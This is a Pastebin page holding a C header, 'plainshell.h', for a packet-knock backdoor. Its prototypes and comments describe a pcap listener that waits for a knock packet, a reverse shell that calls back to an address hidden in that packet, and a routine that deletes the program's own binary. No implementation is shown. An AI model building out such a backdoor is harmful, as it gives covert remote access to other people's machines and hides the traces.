Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * plainshell.h
- * Defines and includes and prototypes
- * By J. Stuart McMurray
- * Created 20160317
- * Last Modified 20160319
- */
- #ifndef HAVE_PLAINSHELL_H
- #define HAVE_PLAINSHELL_H 1
- #define _GNU_SOURCE /* Blech */
- #include <sys/socket.h>
- #include <sys/stat.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <assert.h>
- #include <err.h>
- #include <pcap.h>
- #include <signal.h>
- #include <stdint.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include "config.h"
- /* Make a knock packet. Expects the address and port to which the backdoor
- * should call back. */
- int make_knock(const char *address, const char *port);
- /* init_pcap sets up a pcap monitorer. */
- pcap_t *init_pcap();
- /* handle takes a packet, and double-forks off a handler for it. */
- void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt);
- /* shell calls back the address specified in the last six bytes of pkt, which
- * is of length len. */
- void shell(const u_char *pkt, bpf_u_int32 len);
- /* remove_dot_slash removes the leading ./ from the string at ./ by changing
- * where the passed-in pointer points. Thus, there is two bytes of leakage.
- * If the string doesn't start with ./, nothing happens. */
- void remove_dot_slash(char **s);
- /* rmbin removes whatever is at p, if it exists */
- void rmbin(char *p);
- #endif /* HAVE_PLAINSHELL_H */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement